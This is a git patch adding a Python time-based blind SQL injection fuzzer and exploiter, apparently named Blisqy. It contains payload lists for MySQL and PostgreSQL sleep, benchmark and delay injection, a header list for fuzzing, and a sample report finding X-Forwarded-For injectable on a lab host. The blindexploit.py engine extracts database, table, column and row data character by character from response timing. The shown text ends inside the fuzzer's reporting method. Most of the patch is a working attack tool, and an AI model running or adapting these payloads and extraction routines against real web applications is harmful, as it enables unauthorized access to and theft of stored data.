From f4757733e6956c6cb26acb189aabfe5b1dfcfa03 Mon Sep 17 00:00:00 2001 From: John Troony Date: Mon, 18 Feb 2019 14:33:19 +0300 Subject: [PATCH] Add support for Fuzzing Time-based Blind SQL injection --- ExploitBlindSpot.py | 30 ++ FindBlindSpot.py | 35 ++ fuzz-data/headers/default_headers.txt | 44 +++ fuzz-data/payloads/mysql_bechmark.txt | 102 +++++ fuzz-data/payloads/mysql_delay.txt | 12 + fuzz-data/payloads/mysql_time.txt | 12 + fuzz-data/payloads/postgre_time.txt | 10 + fuzz-reports/192.168.56.101-13-27-15.txt | 32 ++ lib/__init__.py | 0 lib/blindexploit.py | 454 +++++++++++++++++++++++ lib/blindfuzzer.py | 267 +++++++++++++ 11 files changed, 998 insertions(+) create mode 100755 ExploitBlindSpot.py create mode 100755 FindBlindSpot.py create mode 100644 fuzz-data/headers/default_headers.txt create mode 100644 fuzz-data/payloads/mysql_bechmark.txt create mode 100644 fuzz-data/payloads/mysql_delay.txt create mode 100644 fuzz-data/payloads/mysql_time.txt create mode 100644 fuzz-data/payloads/postgre_time.txt create mode 100644 fuzz-reports/192.168.56.101-13-27-15.txt create mode 100644 lib/__init__.py create mode 100644 lib/blindexploit.py create mode 100644 lib/blindfuzzer.py diff --git a/ExploitBlindSpot.py b/ExploitBlindSpot.py new file mode 100755 index 0000000..8349287 --- /dev/null +++ b/ExploitBlindSpot.py @@ -0,0 +1,30 @@ +#!/usr/bin/python + +from lib.blindexploit import SqlEngine + +# Define Target Data +target = { + 'server': '192.168.56.101', + 'port': 80, + 'vulnHeader': 'X-Forwarded-For', + 'headerValue': 'fuzzer' +} + +# Define Target Parameters +targetParam = { + 'sleepTime': 0.1, + 'payload': 'pass', + 'mysqlDig': 'yes', + 'interactive': 'on', + 'verbosity': 'high' +} + +# Blind SQL Injection for this example ' or sleep(0.9)=' +# Provides Templeting for Advance SQLi Exploitation. +sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1" + +# Create an instance of the SQL Fuzzing Engine +BlindSql = SqlEngine(target, targetParam, sqli) + +# Enumerate the MySql Database +BlindSql.MysqlDigger() \ No newline at end of file diff --git a/FindBlindSpot.py b/FindBlindSpot.py new file mode 100755 index 0000000..2b4200c --- /dev/null +++ b/FindBlindSpot.py @@ -0,0 +1,35 @@ +#!/usr/bin/python + +from lib.blindfuzzer import blindSeeker +import socket +import sys + +# Target Parameters +Server = '192.168.56.101' +Port = 80 +Index = 1 +Method = 'GET' + +# Provide files with tests for fuzzing +Headerfile = "fuzz-data/headers/default_headers.txt" +injectionfile = "fuzz-data/payloads/mysql_time.txt" + +try: + # Data to Fuzz our Target (in the format required) + target_params = { + 'server': Server, + 'port': Port, + 'index': Index, + 'headersFile': Headerfile, + 'injectionFile': injectionfile, + 'method': Method + } + + # Use blindfuzzer methods to find a Timebased Blind-Sql Injection + vulns = blindSeeker(target_params) + vulns.fuzz() + +except Exception as err: + print("Check Your Conection/Setup!") + print("Hint: ") + print(err) diff --git a/fuzz-data/headers/default_headers.txt b/fuzz-data/headers/default_headers.txt new file mode 100644 index 0000000..e34dddf --- /dev/null +++ b/fuzz-data/headers/default_headers.txt @@ -0,0 +1,44 @@ +Accept +Access-Control-Request-Headers +Access-Control-Request-Method +Accept-Charset +Accept-Encoding +Accept-Language +Accept-Datetime +Authorization +Cache-Control +Connection +Cookie +Content-Length +Content-MD5 +Content-Type +Date +Expect +From +Host +If-Match +If-Modified-Since +If-None-Match +If-Range +If-Unmodified-Since +Max-Forwards +Origin +Pragma +Proxy-Authorization +Range +Referer +TE +User-Agent +Upgrade +Via +Warning +X-Requested-With +DNT +X-Forwarded-For +X-Forwarded-Host +X-Forwarded-Proto +Front-End-Https +X-Http-Method-Override +X-ATT-DeviceId +X-Wap-Profile +Proxy-Connection \ No newline at end of file diff --git a/fuzz-data/payloads/mysql_bechmark.txt b/fuzz-data/payloads/mysql_bechmark.txt new file mode 100644 index 0000000..98299c3 --- /dev/null +++ b/fuzz-data/payloads/mysql_bechmark.txt @@ -0,0 +1,102 @@ + and 0=benchmark(*index*,MD5(1))-- ++and+0=benchmark(*index*,MD5(1))+-- +/**/and/**/0=benchmark(*index*,MD5(1))/**/-- +%20and%200=benchmark(*index*,MD5(1))%20-- + and 0=benchmark(*index*,MD5(1))/* ++and+0=benchmark(*index*,MD5(1))+/* +/**/and/**/0=benchmark(*index*,MD5(1))/**//* +%20and%200=benchmark(*index*,MD5(1))%20/* +' and 0=benchmark(*index*,MD5(1))--+ +'+and+0=benchmark(*index*,MD5(1))+--+ +'/**/and/**/0=benchmark(*index*,MD5(1))/**/--+ +'%20and%200=benchmark(*index*,MD5(1))%20--+ ++if(benchmark(*index*,MD5(1)),NULL,NULL))%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL))%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL))%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL))%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL))%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL))%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL))%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL))%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL))%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(*index*,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 \ No newline at end of file diff --git a/fuzz-data/payloads/mysql_delay.txt b/fuzz-data/payloads/mysql_delay.txt new file mode 100644 index 0000000..790bf4f --- /dev/null +++ b/fuzz-data/payloads/mysql_delay.txt @@ -0,0 +1,12 @@ +waitfor delay '0:0:10'-- ++waitfor+delay+'0:0:10'-- +/**/waitfor/**/delay/**/'0:0:10'-- +%20waitfor%20delay%20'0:0:20'-- + waitfor delay '0:0:10'/* ++waitfor+delay+'0:0:10'/* +/**/waitfor/**/delay/**/'0:0:10'/* +%20waitfor%20delay%20'0:0:20'/* +' waitfor delay '0:0:10'--+ +'+waitfor+delay+'0:0:10'--+ +'/**/ waitfor/**/delay/**/'0:0:10'--+ +'%20waitfor%20delay%20'0:0:20'--+ \ No newline at end of file diff --git a/fuzz-data/payloads/mysql_time.txt b/fuzz-data/payloads/mysql_time.txt new file mode 100644 index 0000000..72de4d8 --- /dev/null +++ b/fuzz-data/payloads/mysql_time.txt @@ -0,0 +1,12 @@ +sleep(*index*)# +1 or sleep(*index*)# +" or sleep(*index*)# +' or sleep(*index*)# +" or sleep(*index*)=" +' or sleep(*index*)=' +1) or sleep(*index*)# +") or sleep(*index*)=" +') or sleep(*index*)=' +1)) or sleep(*index*)# +")) or sleep(*index*)=" +')) or sleep(*index*)=' \ No newline at end of file diff --git a/fuzz-data/payloads/postgre_time.txt b/fuzz-data/payloads/postgre_time.txt new file mode 100644 index 0000000..06c0a41 --- /dev/null +++ b/fuzz-data/payloads/postgre_time.txt @@ -0,0 +1,10 @@ +pg_sleep(*index*)-- +1 or pg_sleep(*index*)-- +" or pg_sleep(*index*)-- +' or pg_sleep(*index*)-- +1) or pg_sleep(*index*)-- +") or pg_sleep(*index*)-- +') or pg_sleep(*index*)-- +1)) or pg_sleep(*index*)-- +")) or pg_sleep(*index*)-- +')) or pg_sleep(*index*)-- \ No newline at end of file diff --git a/fuzz-reports/192.168.56.101-13-27-15.txt b/fuzz-reports/192.168.56.101-13-27-15.txt new file mode 100644 index 0000000..60adaaf --- /dev/null +++ b/fuzz-reports/192.168.56.101-13-27-15.txt @@ -0,0 +1,32 @@ +=================== [ Key Terms] =================== +Index = Configured Constant (Delay) +Base Index Record = Server Ping Before Fuzzing +Benching Record = Base Index Record + Index +Fuzzing Record = Time taken to process request with Index + +===================== [ Logic] ===================== +If Fuzzing Record is greater than Benching Record, +treat as a positive; else, treat as a negative. + + + +[+] Injection : X-Forwarded-For : ' or sleep(1)# + +[+] Header : X-Forwarded-For + +[*] Index Record : 0.000160932540894 +[*] Benching Record : 1.00016093254 +[*] Fuzzing Record : 9.01 +[!] Test 436 is Injectable. +__________________________________ + +[+] Injection : X-Forwarded-For : ' or sleep(1)=' + +[+] Header : X-Forwarded-For + +[*] Index Record : 0.000378847122192 +[*] Benching Record : 1.00037884712 +[*] Fuzzing Record : 18.02 +[!] Test 438 is Injectable. +__________________________________ + diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/blindexploit.py b/lib/blindexploit.py new file mode 100644 index 0000000..68a5014 --- /dev/null +++ b/lib/blindexploit.py @@ -0,0 +1,454 @@ +from socket import (socket, AF_INET, SOCK_STREAM) +from datetime import datetime +import gevent +import time +import sys + +# Written by John Ombagi +# For Educational Use Only + + +class SqlEngine(object): + + def __init__(self, target, targetParam, SQLinjection): + + # Initialization Tokens + self.value = 0 + self.x = 1 + + # Color Formatting in Linux + self.red = "\x1b[1;31m" + self.cyan = "\x1b[1;36m" + self.green = "\x1b[1;32m" + self.yellow = "\x1b[1;33m" + self.clear = "\x1b[0m" + + # Target + self.server = target['server'] + self.port = target['port'] + self.vulnHeader = target['vulnHeader'] + self.headerValue = target['headerValue'] + + # Target Parameters + self.sleepTime = targetParam['sleepTime'] + self.payload = targetParam['payload'] + self.mysqlDig = targetParam['mysqlDig'] + self.interactive = targetParam['interactive'] + self.verbose = targetParam['verbosity'] + self.verbose = self.verbose.lower() + + # SQL Injection Payload + self.SQLinject = SQLinjection + self.Stamp = datetime.now().strftime("-%H-%M-%S") + self.testSql_result = "" + + # Log FileName + self.logfile = "logs/" + self.server + self.Stamp + ".csv" + + + def writeLog(self, error, funcName): + with open(self.logfile, 'a') as log: + log.write("{0},{1},{2}\n".format(datetime.now().strftime( + "%Y-%m-%d %H:%M:%S"), str(funcName), str(error))) + + + def exceptionHandler(self, error, funcName): + if self.verbose == "high": + print("[!] Error occurred at : %s" % funcName) + print(self.red + str(error) + self.clear) + self.writeLog(funcName, error) + + elif self.verbose == "medium": + print(self.red + "[!] Error occurred at : %s" % + funcName + self.clear) + + elif self.verbose == "log": + self.writeLog(funcName, error) + + + def testSql(self, sql): + + # Connect to web server + try: + s = socket(AF_INET, SOCK_STREAM, 0) + s.connect((self.server, self.port)) + + # Mark time before execution + t1 = time.time() + try: + injection = self.SQLinject + injection = injection.replace("*sql*", sql) + injection = injection.replace("*time*", str(self.sleepTime)) + except Exception as err: + self.exceptionHandler(err, "testSql [Building Injection]") + sys.exit(1) + + # Send our Payload + data = "" + data += "GET / HTTP/1.1\r\n" + data += "Host: " + data += self.server + "\r\n" + data += self.vulnHeader + data += ": " + data += self.headerValue + injection + "\r\n" + data += "Connection: close\r\n\r\n" + try: + s.send(data) + s.recv(0) + except Exception as err: + self.exceptionHandler(err, "testSql [Sending Data]") + sys.exit(1) + + # Mark time after execution + t2 = time.time() + + # Compare if time diffrence is greater than sleepTime + if t2 - t1 > self.sleepTime: + self.testSql_result = True + else: + self.testSql_result = False + + except Exception as err: + self.exceptionHandler(err, "testSql") + sys.exit(1) + + + def constructor(self, defined_SQL, String_pos_counter): + char_binary = "" + try: + + # values for bit masking `for x in range(0,8): 2**x` + for bitValue in (1, 2, 4, 8, 16, 32, 64, 128): + + # If injection worked, True=1, else False=0; + # Append on strx + ascii_SQLStatement = "select ascii(substring((%s),%s,1))&%s" % ( + defined_SQL, String_pos_counter, bitValue) + + gevent.spawn(self.testSql(ascii_SQLStatement)) + + if self.testSql_result is True: + char_binary += "1" + + elif self.testSql_result is False: + char_binary += "0" + + # Get integer value from binary value stored at char_binary + char_int = int(char_binary, 2) + + # Since value is stored in revrse order, rearrange the byte order + revese_char_int = int('{:08b}'.format(char_int)[::-1], 2) + + # Get ASCII value + ASCII_char = chr(revese_char_int) + + # If ASCII character ia string terminator, + # break while loop in DataPump() + + if ASCII_char == "\0": + return "done" + else: + return ASCII_char + + except Exception as err: + self.exceptionHandler(err, "constructor") + + self.testSql_result = "" + + + def DataPump(self, SqlStatement): + counter = 1 + try: + result = "" + while True: + + try: + Character = self.constructor(SqlStatement, counter) + + if (Character is not None) & (Character != "done"): + result += Character + counter += 1 + + if Character == "done": + break + + except KeyboardInterrupt: + self.exceptionHandler("User Interrupt", + "DataPump [Key-board Interrupt]") + sys.exit() + return result + + except Exception as err: + self.exceptionHandler(err, "DataPump") + + + def StatusUpdate(self): + + try: + print(self.cyan + "Extracting Data from ====> %s : %s %s" % + (self.server, self.port, self.clear)) + print(self.green + "Current Payload : " + + self.clear + self.red + self.payload + self.clear) + print(self.cyan + + "===============================" + self.clear) + except Exception as err: + self.exceptionHandler(err, "StatusUpdate") + + + def BreakPoint(self, message): + '''When interactive option is set to on, + this function helps Blisqy pause execution and + the user decide on what Blisqy should do next. ''' + try: + print("\n") + userAction = self.yellow + message + self.clear + + self.ans = raw_input(userAction) + ans = self.ans + ans = ans.lower() + + if (ans == "n") | (ans == "no"): + msg = self.yellow + "Close Sessions? yes/no : " + self.clear + action = ans = raw_input(msg) + + if (action == "y") | (action == "yes"): + sys.exit() + except Exception as err: + self.exceptionHandler(err, "BreakPoint") + + + def tableDigger(self, table): + + try: + print(self.cyan + "Preparing to Enumerate Table : %s" % + table + self.clear) + print(self.cyan + "=======================" + self.clear) + + # Get Number of Columns in a Table + msg = "[+] Getting Number of Columns in Table : %s" % table + print(self.green + msg + self.clear) + + CountColumns = "" + CountColumns += "select count(*) from " + CountColumns += "(select column_name FROM " + CountColumns += "information_schema.columns " + CountColumns += "WHERE table_name = '%s') t" + CountColumns = CountColumns % table + + CountedColumns = self.DataPump(CountColumns) + + print(self.yellow + "[-] " + CountedColumns + self.clear + "\n") + + columns = [] + counter = 1 + + # Get column names and put in a list columns + msg = "[+] Getting All Column Names in Table : %s " % table + print(self.green + msg + self.clear) + + while counter <= int(CountedColumns): + GetColumn = "" + GetColumn += "select column_name FROM " + GetColumn += "(select column_name FROM " + GetColumn += "information_schema.columns WHERE " + GetColumn += "table_name='%s' AND table_schema " + GetColumn += "!= 'mysql' AND table_schema " + GetColumn += "!= 'information_schema' " + GetColumn += "order by column_name limit %d) " + GetColumn += "t order by column_name desc limit 1" + GetColumn = GetColumn % (table, counter) + + column = self.DataPump(GetColumn) + print(self.yellow + "[-] " + column + self.clear) + columns.append(column) + counter = counter + 1 + + # Get all rows in a Table + msg = "\n[+] Getting Number of Rows in Table : %s " % table + print("\n" + self.green + msg + self.clear) + + allRows = "select count(*) from (select * from %s) t" % table + CountedRows = self.DataPump(allRows) + + print(self.yellow + "[-] " + CountedRows + self.clear + "\n") + + rows = [] + counter = 1 + + interactive = self.interactive.lower() + + if interactive == "on": + # Get all data from rows + msg = "[+] Getting Data from Table : %s " % table + print(self.green + msg + self.clear) + + msg = "Enter Columns separated by asterisks (*). " + msg += "E.g id*fname*passwd or skip : " + outMsg = self.red + msg + self.clear + + self.OutputColumns = raw_input(outMsg) + OutputColumns = self.OutputColumns + outMsgColums = OutputColumns.replace("*", " : ") + + if OutputColumns != 'skip': + print(self.cyan + "[-] %s" % outMsgColums) + OutputColumns = OutputColumns.replace("*", ",' : ',") + + while counter <= int(CountedRows): + + # SQL Query + variables = (OutputColumns, table, counter) + getRow = "" + getRow += "select result from " + getRow += "(select concat(%s) result from %s " + getRow += "order by result limit %d) " + getRow += "t order by result " + getRow += "desc limit 1" + getRow = getRow % variables + + row = self.DataPump(getRow) + print(self.yellow + "[-] " + row + self.clear) + rows.append(row) + counter = counter + 1 + + elif OutputColumns == 'skip': + print(self.red + "Skipping....." + self.clear) + + elif interactive == "off": + msg = "[+] Getting data from Table : %s " % table + print(self.green + msg + self.clear) + + # Concat all Columns + query_columns = '' + for discovered_column in columns: + query_columns += discovered_column + ",' '," + + query_columns = query_columns[:-5] + + outMsgColums = query_columns.replace(",' ',", " ") + print(self.cyan + "[-] %s" % outMsgColums) + + while counter <= int(CountedRows): + # SQL Query + getRow = "" + getRow += "select result from " + getRow += "(select concat(%s) result from %s " + getRow += "order by result limit %d) " + getRow += "t order by result " + getRow += "desc limit 1" + getRow = getRow % (query_columns, table, counter) + + row = self.DataPump(getRow) + + print(self.yellow + "[-] " + row + self.clear) + + rows.append(row) + counter = counter + 1 + + except Exception as err: + self.exceptionHandler(err, "tableDigger") + sys.exit() + + + def MysqlDigger(self): + + # Get Current Database + print(self.green + "[+] Getting Current Database : " + self.clear) + + try: + currentDB = "select database()" + DBname = self.DataPump(currentDB) + + print(self.yellow + "[-] " + DBname + self.clear + "\n") + + # Count number of TABLES available in non system schema + # (to be used in getting tableNames) + + print(self.green + + "[+] Getting Number of TABLES from Schema " + self.clear) + + tableCount = "" + tableCount += "select count(*) from " + tableCount += "(select table_name " + tableCount += "FROM information_schema.tables " + tableCount += "WHERE table_schema != 'mysql' " + tableCount += "AND table_schema != " + tableCount += "'information_schema') t" + + CountedTables = self.DataPump(tableCount) + + print(self.yellow + "[-] " + CountedTables + self.clear + "\n") + + counter = 1 + tables = [] + + except Exception as err: + self.exceptionHandler(err, "MysqlDigger [Getting current DB]") + sys.exit() + + # Get all TABLE_NAMES from schema, increment inner limit till total + # counted TABLES available + print(self.green + + "[+] Getting All TABLE NAMES from Schema " + self.clear) + + try: + while counter <= int(CountedTables): + GetTableName = "" + GetTableName += "select table_name from " + GetTableName += "(SELECT table_name FROM " + GetTableName += "information_schema.tables WHERE " + GetTableName += "table_schema != 'mysql' " + GetTableName += "AND table_schema != 'information_schema' " + GetTableName += "order by table_name limit %d) " + GetTableName += "t order by table_name " + GetTableName += "desc limit 1" + GetTableName = GetTableName % counter + + TableName = self.DataPump(GetTableName) + + print(self.yellow + "[-] " + TableName + self.clear) + + tables.append(TableName) + counter = counter + 1 + + # Get all TABLE_NAMES from all Columns from discovered Tables + if self.interactive == "on": + + msg = "Get all Columns from discovered Tables? yes/no : " + self.BreakPoint(msg) + print("\n") + + msgout = self.green + \ + "[+] Enumerate a Specific Table (yes/no) : " + self.clear + self.ans = raw_input(msgout) + ans = self.ans.lower() + + if (ans == "y") | (ans == "yes"): + msgout = self.green + \ + "[+] Enter Table Name : " + self.clear + self.userTable = raw_input(msgout) + userTable = self.userTable + + # Check if table is in list tables before movin on + while userTable not in tables: + msgout = self.red + \ + "[+] Are you nutts! Enter a valid Table Name : " +\ + self.clear + self.userTable = raw_input(msgout) + userTable = self.userTable + + self.tableDigger(userTable) + sys.exit() + + elif (ans == "n") | (ans == "no"): + for table in tables: + self.tableDigger(table) + + elif self.interactive == "off": + for table in tables: + self.tableDigger(table) + + except Exception as err: + self.exceptionHandler(err, "MysqlDigger [Getting Columns]") + sys.exit() + diff --git a/lib/blindfuzzer.py b/lib/blindfuzzer.py new file mode 100644 index 0000000..3dd58a0 --- /dev/null +++ b/lib/blindfuzzer.py @@ -0,0 +1,267 @@ +from socket import (socket, AF_INET, SOCK_STREAM) +from datetime import datetime +import gevent +import random +import httplib2 +import time +import sys + + +class blindSeeker(object): + + def __init__(self, target_params, headerValue='fuzzer'): + # Colors for Notifications and Errors + self.red = "\x1b[1;31m" + self.cyan = "\x1b[1;36m" + self.green = "\x1b[1;32m" + self.yellow = "\x1b[1;33m" + self.clear = "\x1b[0m" + + # Our target + self.server = target_params['server'] + self.port = target_params['port'] + self.index = target_params['index'] + self.headersFile = target_params['headersFile'] + self.injectionFile = target_params['injectionFile'] + self.HTTPVerb = target_params['method'] + self.headerValue = headerValue + self.discover_vuln = [] + + + def writeReport(self, report): + stamp = datetime.now().strftime("-%H-%M-%S") + fileName = "fuzz-reports/" + self.server + stamp + ".txt" + with open(fileName, 'a') as log: + log.write("{0}\n".format(report)) + + + def supportedHeaders(self, URL): + webclient = httplib2.Http() + header, content = webclient.request(URL, "GET") + + domain = URL.replace("http://", "") + domain = domain.replace("/", "") + domain = domain.replace(".", "") + + fileName = domain + "_headers.txt" + + fileName = "fuzz-data/headers/" + fileName + + reqestHeaders = open(fileName, 'w') + for reqheader in header.keys(): + reqestHeaders.write(reqheader + "\n") + + print("[+] Headers File Written to : " + fileName + "\n") + + + def baseline(self): + '''Server Ping Before Fuzzing''' + try: + s = socket(AF_INET, SOCK_STREAM, 0) + s.connect((self.server, self.port)) + + # Send our Payload + data = "" + data += self.HTTPVerb + "/ HTTP/1.1\r\n" + data += "Host: " + data += self.server + "\r\n" + data += "Connection: close\r\n\r\n" + + # Mark time before execution + t1 = time.time() + try: + s.send(data) + s.recv(0) + except Exception as err: + print(err) + sys.exit() + + # Mark time after execution + t2 = time.time() + + basetime = t2 - t1 + + return basetime + + except Exception as err: + print(err) + sys.exit() + + + def findings(self, discover_vuln): + # Report Header + # fuzztarget = target_mg + target_val + "\n" + # fuzztarget += baseIndex_mg + str(baseIndex) + "\n\n" + + # Report Note + fuzzNote = '''=================== [ Key Terms] =================== + Index = Configured Constant (Delay) + Base Index Record = Server Ping Before Fuzzing + Benching Record = Base Index Record + Index + Fuzzing Record = Time taken to process request with Index + + ===================== [ Logic] ===================== + If Fuzzing Record is greater than Benching Record, + treat as a positive; else, treat as a negative.\n\n\n''' + + # If Fuzzing got positive results, write report + if len(self.discover_vuln) != 0: + banner = "==============[ LUCKY! ]=====================" + msg = "[!] Found some +ve Results Check Fuzz Report for Details\n" + print( + self.red + banner + self.clear) + + print(self.cyan + msg + self.clear) + + self.writeReport(fuzzNote.replace(" ", "")) + # self.writeReport(fuzztarget) + + for entry in discover_vuln: + for field in entry: + self.writeReport(field) + 